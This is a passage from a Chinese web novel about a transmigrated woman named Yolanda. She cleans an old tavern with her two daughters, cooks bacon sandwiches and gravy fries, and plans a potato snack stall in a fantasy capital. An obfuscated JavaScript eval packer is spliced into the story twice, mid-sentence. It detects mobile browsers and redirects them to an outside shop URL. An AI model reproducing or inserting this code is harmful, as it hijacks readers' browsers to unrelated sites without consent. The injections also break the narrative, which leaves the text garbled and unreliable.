灶台对面的墙上钉了五层长长的橡木置物架，架子两端各摆放了一个顶天立地的橱柜。 架子最下方，一排背篓和陶缸整齐排放，角落里堆了六七个温酒的泥炉。 灶台和置物架中间，也是厨房的中心位置，放置了一张橡木长桌，当料理台使用。 抛开斑驳墙壁、低矮天花板、生锈灯架不提，尤兰达粗略扫过这一方空间，勉强能说一句满意。 很宽敞，四个成年人穿梭其中不显拥挤，完全满足基础操作。 穿过厨房，走向另一端挂了帘子的拱形门，绕过积灰的木质柜台和酒架，正式进入店面经营区域。 店面四四方方，约120多平，配一个公共大壁炉，三扇不大的窗口开在高处，是以采光不好，空气也不太流通。 冬日里有利保温取暖，搁在夏季难免昏暗憋闷。 店门位于西南角，靠近柜台和厨房门，东南角有楼梯通向二楼，一脚踩上去发出令人心惊的“咯吱”声。 二楼比一楼采光好太多，将近170平的总面积，分割出六个大小不一的卧室和一间公共休息室，每间设有一个小巧壁炉和一小扇窗口，满足客人住宿、社交需求。 租户搬走后，装饰物和家具桌椅一并搬走，一眼望过去，稍显磕碜。 三楼没什么可看的，和她从外面观察的一致。 单说这间临街的店铺，缺点不少，优点也特别明显——大 从城门一路过来时她就发现了，不管哪条街，凡是做餐饮的，铺面都比其他商店开阔一倍不止。 尤兰达从厨房后门退出来，走向后院。 后院做为生产生活区域，对比前面的铺子略显紧凑，好在麻雀虽小五脏俱全。 柴棚、工具房、仓库房、杂物棚，一块杂草丛生的菜地，一间木板搭建的简易旱厕，以及一栋茅草屋顶的二层砖石小楼。 小楼做为店主一家的住宅使用，也会是她们未来的住处。 尤兰达粗略扫一眼院子，径直来到小楼前，踢开虚掩的屋门，捂住口鼻走进去。 一楼分割出一间主卧室和一个公共起居区，二楼分出两间卧室，三间卧室都砌了壁炉，各配一张光秃秃的床架子和斗柜。 院子几经租赁，陈旧在所难免，所幸原身收房时严格检查，不影响她们正常使用，打扫打扫就能住人。 比起流落街头等死，能住进这样的房子算万幸，只等换上新陶瓦便能重新经营。 至于以后靠什么糊口，尤兰达决定重操旧业——开饭馆。 当然，饭馆不是说开立刻就能开起来的，少说需要筹备一两个月。 换瓦片、订菜单、买食材、采购家具厨具、市议厅办理手续等事项少不了要办，期间，囤积过冬物物资差不多也该提上日程。 仔细盘算，桩桩件件全是事，全都要花钱、花时间、花精力。 她不缺精力和时间，就差钱，很多钱。 不说采购的钱，单拎出一个预缴税金，就够她愁的了。 黑森王国又一令人费解的规定，商铺开业前，需向有关行会预缴一个月的税金，少补多不退的那种。 还没赚钱呢，先交出去一堆税，槽多无口。 再三思索，尤兰达决定从小吃摊干起，赚钱攒钱，赶在冬季来临前把饭馆开起来。 “老鼠！有老鼠！” “上帝啊，该死的老鼠！我要回家呜呜呜……” 尤兰达想着怎么尽快安顿下来，院子里忽然爆发出女孩们的吱哇乱叫。 她快步跑进院子，就见两个女孩狼狈地跳上石磨，扯着嗓门用声波攻击老鼠。 又惨又好笑。 尤兰达忍笑拿来扫把挥舞两下，告诉她们已经赶跑了老鼠。 两个女孩哭唧唧确认半天，一脸后怕地跳下来。 菲奥娜惊魂未定：“妈妈，爸爸不要我们了，你什么时候给我们找新爸爸？我不想住在这里。” 西芙拉心疼地摸了摸被老鼠抓勾丝的裙摆，连连点头：“菲奥娜说的对，我们应该有新的爸爸了。” 尤兰达：…… 可真是她的好女儿啊。 尤兰达板起脸，模仿原身的语调：“我想你们应该闭上嘴巴。好了，去井边打水，我们要在天黑前把卧室打扫出来。” 一听要自己动手打扫卫生，两个女孩立刻撅起嘴。 尤兰达双手叉腰，眼睛一瞪，两人不敢吱声，缩着脖子去车马棚。 见她们磨磨蹭蹭走远，尤兰达撤回脸上的怒容，轻叹一口气。 她暂时没能学会怎么和她们相处，幸好原身的威严尚在，还能震住两人。 打来井水，分发清扫工具，尤兰达迫不及待推开所有门窗通风。 待空气里的怪味散去一些，她裹紧头巾，穿上围裙，高举长柄扫帚，搅掉房檐屋角的蛛网，扫去梁上的浮尘，湿抹布一遍遍擦洗床架和斗柜。 三下五除二，一楼主卧和起居区域打扫干净，她快步回到马车上，翻找出床幔和被褥。 床幔挽个圈扎起，轻轻扯松，床板铺上羊皮毡和亚麻床单，薄被与枕头丢上床，卧室看起来像点样子了。 尤兰达还想继续搬行李，肚子忽然咕咕叫。抬头探出窗一看，日头高挂，该吃早饭了。 刚想到这里，二楼传来“咚”的一声重响，尤兰达不放心，脚步一转，上楼查看。 楼梯爬了一半，不等踏入二楼区域，她就沉默了。 眼前的景象只能说不出她预料。 西芙拉和菲奥娜徒劳地挥舞扫帚，满屋灰尘乱飞，空气质量直线下降。 “停停停！听我的，先扫走高处的灰尘……”尤兰达及时阻止了她们的无效劳动，简明扼要讲解打扫顺序和原因，抛出诱惑：“我去准备早餐，什么时候清理完灰尘，我们什么时候开饭。” 西芙拉拍打身上的蛛丝，表情痛苦又期待：“妈妈，是昨晚那个、那个……”她卡住了， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200980|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 想不起新奇食物的名字。 “无米蛋炒饭？”尤兰达接过话头，“不，早饭吃三明治。” “嗷——”菲奥娜失望地嗷一嗓子，“我喜欢昨晚的炒饭。” 她摸向自己被束腰勒紧的腰腹，吞咽口水，“等我脱了这玩意儿，我发誓我能多吃一大碗！” 因长久的节食和束腰的限制，母女三人的饭量十分小，昨晚那份“无米蛋炒饭”她们努力了半天，最后仍剩下不少。 “如果你们今天表现不错，”她抛出诱饵，“晚餐可以考虑再吃一次。” 一剂强心针扎下来，两位灰头土脸的小姐瞬间干劲满满。 尤兰达转身下楼，径直来到马车旁。 翻找出需要的东西，搬来泥炉放在院中空地，随后去柴房扒出几根上任租户遗落的木柴，放入干草用燧石点燃。 几次失败尝试，火苗终于蹿起，火势稳定后，尤兰达快速架上陶锅。 放上培根片，小火慢煎至香气四溢、微微卷曲后，借着底油打入三枚鸡蛋，煎成边缘带漂亮焦圈的荷包蛋，先后盛出备用。 陶锅无需清洗，挪至一旁放凉后添水，再架回泥炉上烧到水面冒热气，撕下几片卷心菜嫩叶下锅荡一荡，烫去生涩即可。 倒掉热水后，只需调成小火融化黄油，厚切的白面包片平铺锅底，没一会就吸饱了淡黄乳脂，变得绵软。 熄掉柴火，借着锅内余温，金黄的煎蛋、焦香的培根、翠绿的卷心菜叶依次铺进去，放几片新鲜番茄，饱满厚实的培根煎蛋三明治便完成了。 简单用刀身按压紧实，斜切成两半，露出层次分明的馅料，摆进干净餐盘里，倒上三杯葡萄汁，这就是母女三人的早餐。 三明治省时省事，花费时间不如翻找工具的时间多。 “妈妈，我们扫完了，真的扫完了！”楼上传来西芙拉和菲奥娜雀跃的呼喊。 两人慢吞吞擦拭门窗，回味无米蛋炒饭的滋味，直到院中传来滋啦滋啦的动静，趴上窗口一张望，热烈的油脂香气快勾走了她们的魂。 原来三明治是这个味道。 她们加速动作，紧赶慢赶才赶上食物出锅。 噔噔噔，两个女孩飞奔下楼，像雨过天晴的赛里木湖一样的蓝眼睛，巴巴黏着餐盘。 “干得不错，”尤兰达端着托盘进了屋子，“去洗手，开饭吧。” 她们欢呼一声，冲到水桶边囫囵擦了擦手又冲回屋子，抓起三明治大口咬下去。 只一瞬间，她们的眼睛瞪得溜圆，含着三明治忘记了咀嚼。 食材简单平常，口感意外的丰富扎实，脆与软、咸与鲜、温与凉，搭配的完美，既不干柴也不腻人。 细细咀嚼几下，食材充分交融，培根的咸香在舌尖蔓延，番茄的微酸掺和柔软的蛋黄，包裹住绿叶菜的清新，焦脆的煎蛋带着奇异的弹牙感。融进面包的黄油若有似无，恨不得多咬上两口好好品味。 两人大口大口吞咽，腮帮子鼓囊囊。 没一会，她们彼此对视一眼，默契地放下三明治，抱起裙摆跑上楼。 尤兰达疑惑看向两人。 菲奥娜含糊不清地说：“我现在就要脱掉该死的束腰。” 西芙拉补充：“它影响我们享用三明治了。” 尤兰达哭笑不得，新的想法随之冒出脑海。 摆摊卖三明治或许可行。 5. 第 5 章 “妈妈，你一定是天使，只有天使才能变出这么美味的食物。” “我发誓，即使皇宫舞会的烤鹿肉、烤孔雀摆在我面前，也不会比三明治更吸引我。” 两个女儿神情餍足，抱着鼓胀的肚子，不遗余力地吹捧。 尤兰达冒出一身鸡皮疙瘩。 俩小老外确实没吃过什么好东西，一顿三明治轻松拿捏。 没见过世面好啊，她的小吃摊大有可为。 西芙拉打了饱嗝，嘀咕：“真奇怪，为什么以前没觉得培根香香的？” 菲奥娜自信接话：“笨蛋姐姐，以前料理培根的是厨娘，她的厨艺没有妈妈的厉害。” 姐妹俩叽叽咕咕，尤兰达听完，心虚地抹了抹脑门。 幸好原身自诩身份尊贵，从不下厨。 刚松一口气，随即心念一动，尤兰达想起另一件事。 培根、火腿、肉肠、咸肉、鲜肉这类食材，是富裕人家才能常享的奢侈，从尼尔森家带出的食材虽然数量不少，却支撑不起一门生意。 除非她找到培根的平替，做出便宜的三明治。 可再便宜，三明治所需的白面包不能少，比起酸溜溜的黑麦面包，白面包价格高出好几个铜币。 成本拉高了，定价不可能低，寻常人消费不起，冒然动作大概率赔本。 她手里的三瓜俩枣，进货采买食材的钱都扣不出来，再赔底裤就没了。 才起了摆摊卖三明治的念头，一顿饭不到，直接打消。 最后一滴葡萄汁喝完，餐具堆进井边的洗碗盆，留待攒够草木灰一起清洗。 母女三人歇息片刻，重新投入新居打扫。 她们合力将一台台箱笼陆续搬进屋，领走各自的物品去收拾。 皮箱铺上粗麻布充当床头桌；藤箱塞满厚毛毯皮毡，一举托上衣柜顶；烛台、银镜与洗漱用具各归其位；天鹅绒窗帘拍去浮灰高高挂起。 起居室，油灯摆上矮柜，沙漏立于壁炉台，陶壶茶杯端上木桌，地毯平铺靠椅前。 只半天工夫，她们的新家大变样，温馨又舒适。 连西芙拉、菲奥娜都停下抱怨，欣赏她们的劳动成果，成就感满满。 “接下来，”尤兰达挽起袖子宣布，“该打扫厨房了。” 尝过无米蛋炒饭和三明治的滋味，两个女孩尤为重视厨房的清洁工作，一人拎着桶，一人拿上扫帚，无需催促，撸起袖子冲进去。 “我的上帝啊，它们真恶心。” 西芙拉皱巴着脸擦拭灶台的黑灰和油污，恨不得扔了手里抹布。 “妈妈，窑炉里面会不会有老鼠？” 菲奥娜拿着扫帚当武器，这里捣捣那里挥挥，不敢靠近半步。 行，能干活就好，吐槽几句无妨。 尤兰达对她们的要求不高，见两人有模有样地打扫，绕去前门推开门窗通风换气。 霎时间，数道光束斜斜射入，墙壁上经年累月被油灯熏出的痕迹清晰可见，夯土地面的坑洼一目了然。 尤兰达驻足店门口，回身望了望矮人巷。 小巷店铺多不胜数，不规律的嘈杂交织出市井旋律。 她倚上溪边栏杆，侧身朝矮人巷所在的主街贝壳街望去。 贝壳街坐落于平民区，天气好的时候人声鼎沸。 背箩筐卖蔬果的、推小车的卖日用品的、挎着篮子卖果酱、鲜花的，叫卖声此起彼伏。几个孩童欢笑着奔跑经过，紧追前方缓慢行进的骆驼商队。 人声、车轮声、牲畜的响鼻声混杂，鲜活的人间烟火气扑面而来。 挺好，人流量大，开饭馆不愁没人光顾。 她又抬头望向天边。 明媚阳光慷慨挥洒，大团云朵慵懒停泊于天边。 巷子口的橡树枝桠在风里摇晃，投下跳跃的光斑，门前溪水奔流不息，溅起碎银般的水沫。 尤兰达仿佛闯进了流动的油画。 “夫人，要买木柴吗？有橡木、松木、秸秆以及木柴球，长期订购有优惠。” 正观察未来的生活环境，半大的孩子冷不丁冒出来兜售木柴。 尤兰达乐了，原来这时候就有上门推销业务。 她习惯性拒绝，一张口想起柴房剩下的零散木头不够烧下顿饭的，遂改口：“一捆多少钱？” 背着麻布小包的孩子流利报价：“橡木一捆55铜币，松木一捆15铜币，秸秆只需10铜币。木柴球适合当引子，一个1铜币。买点吧，夫人，我们可以送货上门。” 木柴放在当下时代属于民生物资，只要划分进民生物资，定价权就和商人、市场没关系了，全部由政府掌控。木柴行会起到监管的作用，顺便规定死了一捆木柴的长度和重量。 商人售卖时不能随意调整价格，平民采买时无需讨价还价，顶多受气候和季节影响整体波动，省去了货比三家的麻烦。 如果实在舍不得那几个铜币，可以花一天半天去其他伯爵领地采买，税率比皇城低，同样价格到手的木柴能多出几根，买越多越划算。 “一捆松木两捆秸秆，天黑前能送来吗？” 松木一捆约有15根，砍成一米长，搭配秸秆、草屑，仅做饭时使用足够她们撑上两三天。 小孩面色一喜，指了指身后店面，“不用晚祷（18:00），第九时祷（15:00）准时送来。贝壳街矮人巷北1店，对吗？夫人需要先交15铜币。” 尤兰达掏出羊皮小包数出15枚铜币，接下小孩递来的写有木柴铺名字地址的木牌，方便下午交货。 做成一单生意，小孩高兴问：“夫人，您是新搬来的吧？需要小约翰为您的铺子清粪吗？” 尤兰达神情微动，十三四岁的孩子竟然打两份工？ 小孩腼腆一笑：“不，是我的朋友小约翰，他负责矮人巷北的清粪工作，每天晚祷后他会上门清收粪便，一天只需1铜币。 假如还需清洗粪桶，那么就是2铜币1天，一周一结提前付款。” 尤兰达一算价格，忍不住咋舌。仅吃喝拉撒的花费，一周的生活成本逼近100铜币。 皇城居，大不易啊。 “不雇佣清粪工我该怎么办？”她问。 “夫人得自己提着粪桶走去贝壳街尾的粪塔倾倒，那里可不近呢。” 尤兰达别无选择：“晚上带小约翰一起过来，我需要他的帮助。” 小孩更高兴了，原地蹦了蹦，“好的好心夫人，愿上帝保佑你。我叫大约翰，下午见。” 目送小孩跑远，赚钱的紧迫感瞬间攫住了尤兰达。 处处要花钱，不赚钱真没法活。 她折回厨房取来抹布与水桶，开始彻底清扫：置物架、料理台逐一擦洗，锅灶用粗麻布狠狠刮去积年的油垢。 “动作轻点孩子们，去把马车上剩下的东西搬来厨房，放桌子上我来归整。” 两个女孩应声而去，尤兰达伸展一下腰背，趁这会工夫走向后院菜园。 菜园紧挨着车马棚，四四方方约有20平，种了家家户户顿顿必备的食材。 迷迭香、罗勒叶、薄荷、百里香、香葱、韭葱，分别栽进木板钉成的长条花盆里，沿墙架起，做饭时随取随用。 香草之外，蔬菜占地最多，芥菜、欧芹、洋葱、卷心菜、芜菁、莴苣、番茄，各占一小块地。墙角的豌豆藤沿着墙壁爬满了车马棚棚顶，肆意铺展。 尤兰达敢保证，但凡有居民在自家开辟菜园子，绝对少不了种这几样。 好打理、耐储存、不挑土质，能省下不少买菜钱。 菜地与杂物棚之间杵着一棵柠檬树，枝头挂满沉甸甸的果实，眼看要由青转黄。 杂物棚与工具房和仓库的屋顶相连，上面的葡萄藤纵横交错，叶片足有巴掌大。 熟烂的果子东一堆西一堆掉落在木板屋顶上，引来鸟雀哄抢，啾鸣声与“咄咄”的叨食声响交替出现。 推开仓库和工具房的门，里面堆了不少农具和陶缸，仓库一角有洞口通向地窖。 尤兰达下去瞧了一眼，面积不大，适合储藏酒水。 越收拾，她越喜欢这一方小院，穿越前她哪有机会过上自给自足的田园生活啊。 也多亏了原身的“斤斤计较”和“不好说话”，收房时强硬要求租户大清扫，替她省了不少麻烦。 拔草、浇水、清理烂果和鸟粪，粗略收拾一下，后院干净整洁。 此时太阳当头照，两个女孩早搬完了行李，躲进起居室打盹。 尤兰达没有叫醒她们，去厨房归置厨具。 这是她安身立命的战场，自己亲手布置用起来才顺手。 三口铁锅放入灶眼，多出的一口灶眼放铜锅，专门烧热水。 这里的人习惯靠葡萄汁和啤酒解渴，对尤兰达来说太腻，远不如白开水有效。 陶锅、铜锅放在灶台边方便更换，调味料摆上料理桌中央，小麦、大麦、土豆等倒进陶缸储藏，肉肠、培根挂上房梁。 尤兰达干活麻利，忙到差不多时，铛铛铛的钟声远远传来。 这是中午12点开始的第六时祷，没想到这么快又到了吃午饭的时间。 尤兰达提来小野餐篮，倒出昨夜烹煮过的土豆，决定做家常版肉汁薯条。 熟土豆放进陶碗捣成绵密的泥状，洒少许小麦粉、舀两勺橄榄油，搅拌搅拌均匀铺上陶盘，静置晾凉。 接下来是肉汁薯条的灵魂所在——调制酱汁。 新鲜的猪肉、牛肉很贵，暂时吃不起，尤兰达就地取材创新一下，选择肉酱代替。 零碎的柴火不经用，她放弃铁锅，抱来做早饭的泥炉点燃。 番茄划开十字刀痕去皮，丰腴果肉切碎放进陶锅炖煮，木勺不停画圈，少量多次倒入苹果醋、麦芽糖和粗盐调味。 酸甜适度了，直熬到汁水浓稠，挖出两勺咸肉酱混进去融合。 尤兰达尝了尝，酸得明亮，甜得柔和，咸得恰到好处，番茄味十分浓郁，配薯条吃正合适。 最后一步是炸薯条。 陶锅冲水洗净后倒入半罐猪油，等油热的工夫切一指宽的长薯条。 油面冒出细密波纹时刚好，薯条缓慢沿锅边滑入炸制定型。 “噼啪、滋啦……” 金黄的泡沫欢腾着涌起，薯条的边缘迅速变成脆壳。 - 托马斯从未觉得哪一天像今天这样难熬。 自从早上闻到一股陌生的食物香气，那香气便一直萦绕鼻尖，勾着他的心神。 像培根，又不止于培根，混合着他无法描述的、令人心头发痒的焦香。 他踮起脚绕着鞋铺院子嗅了一圈，分不清味道从哪飘来。 海螺巷的酒馆？矮人巷的面包坊？总不会是隔壁老杰克家的酒坊吧？ 托马斯吞了吞唾沫，如往常一样做鞋底、划皮革。他手里动作不停，心思却全系在了香气上。 好不容易捱到早午饭时间，托马斯冲向矮人巷唯一的餐馆，咬牙点来一份加了培根碎的菠菜麦粥。 刚入口嚼两下，托马斯肉眼可见的失落——味道不对，不是这家店。 托马斯也更加确信，他早上闻到的香味绝对出自培根。 他想不通，为什么培根能散发出那样独特的油脂气味，衬得手里的麦粥都不香了。 他花了整整十个铜币呢。 托马斯味同嚼蜡，为了不浪费钱硬吃完一整碗，失魂落魄回鞋铺。 正午祷告的钟声敲响，新一轮的工作即将开始。 托马斯埋首干活，心里盘算 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17200981|197182||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 着晚饭去另一家酒馆探探，希望能拯救他可怜的味蕾。 正暗自祈祷，不知哪里又飘来了香气，诱人的、陌生的、他描述不出来的食物香气。 “好、好香~~”旁边的学徒亨利深吸一口气，曲起手肘碰了碰他，“嘿，托马斯，你闻到了吧？” 托马斯用力点头：“当然，我鼻子可灵了。事实上，我早上就闻到过类似的香味。” 杂役杰克加入话题：“矮人巷可没多少饭馆酒馆，我猜是海螺巷新开的店，听说很受欢迎呢，可惜我没能进去尝一尝。” 托马斯没想到这么顺利让他打听到了消息，口腔疯狂分泌唾液。 他翻了翻柜台上的木牌，有一双皮鞋订单需要晚祷前送到顾客家。 “杰克，礼服店的舞鞋我去送，这是我新做的鞋子，我想听听夫人们的意见。” 出师的学徒抢杂役的跑腿活计，说出去都没人信，托马斯强忍羞耻编借口。 杰克可太愿意了，一口应下。 托马斯抱上鞋盒一路狂奔，停在海螺巷新开的餐馆前。 他喘着气朝店里张望，眼珠子滴溜溜转。 餐馆果然受欢迎，早午饭的时间过去这么久，依然坐了七八桌食客，正抱着啤酒吹牛打牌，好不热闹。 可空气中并没有他魂牵梦萦的培根焦香。 或许是错过了饭点，没人点那道菜？ 托马斯不确定，徘徊片刻后悻悻离开。 他折回矮人巷向主街走，不多时，路过矮人巷巷子口，托马斯注意到关闭许久的北1店店门此刻竟敞开着。 这家酒馆他光顾过几次，食物平平无奇，面包碗硌牙，淡啤酒味道不错。 鬼使神差的，托马斯朝门口挪了几步。 走到门前他才看清，整间铺子除了柜台，里头连张桌椅都没有，根本不像营业的样子。 托马斯耸耸肩，笑自己馋疯了。 矮人巷最不可能的就是这家店，听说房主正急着出售宅子，要价极高，掮客没少吐槽。 一家一家排除，绝对是海螺巷的甜滋滋小餐馆没错了。 晚饭一定去试试！ 托马斯舔舔嘴唇，脚步轻快地跑远，仿佛已经尝到了惦记许久的滋味。 — “怎么样，好吃吗？” 尤兰达满怀期待地望向桌对面的两个女儿。 女孩们脸上残留的睡意早已被惊艳取代，忙着对付盘中的食物，挪不开嘴回应，啄米小鸡般连连点头。 尤兰达放下心来。 低配版加拿大国菜又怎样，照样能抓住洋人的胃。 反正这个世界上，大概也只有她尝过真正原版的肉汁薯条了。 西芙拉眼疾手快，抢下最后一根薯条，滚满浓稠的殷红酱汁，啊呜一口塞进嘴里，眼睛眯成了月牙。 菲奥娜控诉几句，索性夺过陶盘，指尖蘸起盘底残余的酱汁送到嘴边。 “妈妈，它叫什么名字？”她贪婪地嗦着指尖，追问，“你是怎么想到做出这样的味道？太令人惊喜了。” 尤兰达的回答听不出半点心虚：“肉汁薯条，我新研究的菜品。” 西芙拉捧着脸，语气激动：“妈妈，你的手一定被上帝吻过。” 尤兰达谦虚微笑，暗暗纠正：不，上帝没有吻过她的手，只是掉包了灵魂。 忽悠完两个孩子，尤兰达转身去翻箩筐。 置物架下的藤筐满的几乎溢出来，全是从尼尔森家带来的土豆，做成手指粗、筷子长的大薯条，摆摊卖上两三天不成问题。 土豆做为餐桌主食之一，价格受到政府严格管控，大部分时候1银币可以买来两麻袋土豆，约20公斤左右，十分便宜。 转瞬间，尤兰达便敲定了土豆作为小吃摊的核心食材。 土豆好啊，煎、炸、蒸、煮、烤、炒、炖……花样繁多，怎么做都好吃，且价格亲民，耐储存。 考虑到外国佬的口味偏好，以及小吃摊需要出餐快、易携带、复购率高的特点，尤兰达的脑海里立刻浮现出家喻户晓的快餐巨头M记。 做为M记复购机器、销冠之王，薯条配番茄酱的经典组合早已超越单纯的佐餐关系，深植人心，成为一种近乎本能的文化符号与味觉记忆。 其背后所展现的商业生命力与市场号召力，堪称惊人。 有现成的、历经全球市场验证的成功案例摆在眼前，不“参考借鉴”一下，实在说不过去。 只一个番茄酱不够，多添一个蜂蜜芥末酱或者甜辣酱，更好满足不同口味。 尤兰达翻找一通，辣椒存货不多，磨成粉的芥末籽却有满满一罐。 芥菜是黑森王国全民普及的平价蔬菜，芥末顺势成了普罗大众餐桌上不可或缺的辣味调料。 当地人习惯将芥末和果醋、柠檬汁拌在一起配面包，味道以辛辣为主、酸甜为辅，冲劲十足，与她记忆中搭配炸鸡年糕等小食的甜酸风味芥末酱截然不同。 尤兰达四处搜罗，不一会找出一篮子番茄、一罐麦芽糖、一罐白醋栗酱、一罐芥末粉、洋葱几颗。熬制酱汁的主要食材，倒也凑出个七七八八。 两个女孩吃饱喝足，高高兴兴回房间补觉。尤兰达不敢睡，生怕一下午稀里糊涂睡过去耽误事。 强忍困倦打了个呵欠，尤兰达晃进后院，舀一盆燕麦倒进车马棚的石槽，打来一桶水放在一侧。 她顺毛摸了摸通体漆黑的骏马，心中惆怅：“以后叫你大G好了。” 谨以此名纪念她付了全款，却没机会提回家的某辆大G吧。 就是不知道，得知自己的爱马被人拐走，她的前任老公会不会气晕。 何况他丢失的不止一匹马。 幸灾乐祸一阵，尤兰达拿上羊皮钱包，挎着篮子出门采购。 6. 第 6 章 “午安，夫人。请问……您是这家店的新租户吗？” 锁上院门，一转身，冷不丁撞见店门前徘徊的络腮胡壮汉，尤兰达吓得瞌睡虫跑光了。 络腮胡男人搓了搓手，歉然后退两步。 中午时分，一股奇异的香气飘进了伯纳德经营的裁缝铺，上门裁衣的客人频频追问来源。 他知道的并不比客人们多多少，生意一结束，便循着气味一路嗅到了巷子口的北1号店。 伯纳德对这家酒馆很熟悉，以前的他可是常客，生意太忙顾不上吃饭时，经常遣杂役点一碗麦粥。 他探头望了望，铺子里空无一人，柜台积了厚厚一层灰。 可附近就数这里的气味最为鲜明。 店铺换新的租户了？这么香，是开饭馆的吧？ 伯纳德准备进去问问，才迈开脚，身形高挑、体态丰腴的美丽女人挎着篮子掀起布帘子从厨房走出来。 出于职业习惯，伯纳德率先观察女人的衣着。 纱裙做工精致、分层细腻，外罩一件缀了蕾丝花边的亚麻布罩裙，搭在篮子边沿的手指白皙、细长。 女人身上找不到一点劳作痕迹。 好吧，他好像弄错了。 伯纳德略显尴尬的开启话题，试图为自己莽撞的行为描补一二。 对面女人闻言抬头，碧绿眼眸疏淡瞥来，“算是吧。” 尤兰达摸不清来人的意图，随口敷衍。想到两个女孩留守家中，她连店门一起锁上。 伯纳德察觉出她的戒备，指向不远处的招牌：“夫人请别误会，我是北4号店的伯纳德，经营着一家裁缝铺。” 尤兰达礼貌颔首：“尤兰达·费尔南多，下个月或者下下个月正式经营北1店。” 伯纳德十分捧场地道贺，没来由的说起上一任租户的酒馆，东拉西扯一通，直到尤兰达流露出急着离开的神色，终于切入正题： “……不知您是否闻到附近有什么特别的气味？我的客人们很好奇，老实说，我也想知道那是什么味道，它们很独特、很陌生，又很吸引人。” 尤兰达转动脑袋嗅了嗅，并没有什么独特、吸引人的味道。 她耸耸肩，爱莫能助：“我一直在打扫院子，没有注意到，多半是从别处飘来的吧。” 伯纳德遗憾地摊了摊手，道了声谢，却并未急着离开。 他依旧耸动着鼻子来回搜寻什么，嘴里念念有词： “上帝啊，这太奇怪了，明明在附近才对。” 尤兰达只觉得胡子男古古怪怪，遂加快脚步离开。 午后的贝壳街比清晨更喧闹几分。 人流攒动中，腥的、臭的、酸的、刺鼻的，各种气味野蛮交织，袭击她的鼻腔。 尤兰达不仅要忍受原身身上散发的混合香水的微馊体味，还要分心提防擦肩而过的行人，避开他们身上袭来的浓烈汗臭与狐臊。 她好不容易从一波人流中挤出来，缩进街角空旷处喘口气，没一会，一队身穿亮银铠甲、披着深蓝披风的骑士拨开人群横穿过来。 他们停在不远处的市政布告栏前，为首者展开一卷羊皮纸张贴上去。 霎时间，前后左右不知从哪儿冒出了无数人头，人潮像被磁石吸引般汹涌挤向布告栏。 尤兰达裹挟其中，眼白翻上天，险些没被熏死。 “国王下悬赏令，征召勇士前往森林深处驱赶巨人……天呐，赏金足足有100枚金币呢！” “要我说，不如去黑暗森林邀请精灵帮忙，他们身手敏捷，正好夏收结束，精灵们该来皇城屯粮食过冬了。” “糊涂的老杰克，你忘了精灵王不喜欢精灵们为人族做事吗？ 不如多花点前去魔法学园请大魔法师，前几次驱赶巨人的勇士可都没能回来呢。” 巨人、精灵、魔法师……听起来可真童话。 尤兰达两眼发直，脚步虚浮地离开，很快抵达百米外一条叫泥陶巷的地方。 泥陶巷汇集了平民区大多数的陶匠工坊，大小窑炉日夜不停烧。 尚未正式进入泥陶巷，一股热烘烘、混合了黏土与柴火的气息扑面而来，沉滞而滚烫。 走进巷子，叮叮当当的敲打声、轮盘转动的嗡嗡声、还有学徒搬运时含糊的吆喝此起彼伏。 巷子两旁挤满了低矮的工坊，清一色前店后坊的格局，烧好的陶罐陶碗摆满不大的铺面。 尤兰达在一家挂着“老格伦陶器”木牌的铺子前停下脚步。 这家店原身来过，货比十几家后找出来的最具性价比的店铺。 当然，询价过后原身纠结许多天，最后也没舍得换陶瓦。 尤兰达一走进店，看店的白发灰眼睛老头当即认出她。 “哦，是你啊夫人，考虑好换陶瓦了？”老格伦擦去手上的泥浆，走出柜台招待顾客，“我想想，贝壳街矮人巷北1店是吗？你来过许多回了。” 尤兰达忍不住替原身尴尬，“……没错。” 老头抱起一沓羊皮纸，翻了好一会抽出其中一张，贴着鼻尖：“让我瞧瞧，换三楼房顶、小型弧形瓦……需要橡木板和干草防水，订购4000片，对吗？” 尤兰达忍痛点头。 老格伦工坊的小型弧形陶瓦售价1铜币5片，4000片就是800铜币，也就是8银币，刚好用光她的存款。 而且需要换瓦片的不止店铺房顶，还有母女三人居住的二层楼，陶瓦总数量起码要再翻一倍。 保守估计8000片陶瓦，全部换完说一句倾家荡产不过分。 “有回收的旧陶瓦吗？”她窘迫地问。 老格伦习以为常，面色不变：“当然有，1铜币15片，不过已经不剩多少。2000片？3000？不会更多了。” “完整的旧陶瓦有多少要多少，剩下的新陶瓦补上，一共订4000片。” 住宅的屋顶可以暂时搁置，冬季来临前换上即可，店铺的陶瓦必须先安排上。 老格伦不紧不慢记录：“好的夫人，会为您安排五位匠人，月底之前一定能完工。你得提前支付一部分铜币，我算算……” 他停顿一会，在一旁写写画画：“有了，提前付400铜币。详细费用恐怕要在最后一天结算才能确定，一般来说不会超过10银币。” 换陶瓦的钱省不掉，尤兰达利落掏出羊皮包。 “如果我支付4枚银币，”她将银币推上柜台，“能否优惠些？” 老格伦脸上的皱纹都舒展了，爽快点头：“当然，橡木板和干草的费用可以免去，怎么样？” 尤兰达微笑：“您真慷慨。” 日常生活多以铜币交易，银币较少流通，金币几乎看不见身影，是以，金银币通常用作书面记账。 比如尤兰达支付过去400枚铜币，老格伦会记作4银币。 如果支付425铜币，则记作4银币，25铜币。 铜币有贬值风险，金银币则稳定许多，大家手里但凡有点余钱，都会想办法在年底前将攒下的铜币兑换成金银币。这是所有人心照不宣的理财方式。 不过那时候，常常需要120铜币、甚至140铜币，才能从大商人手里换来1银币。 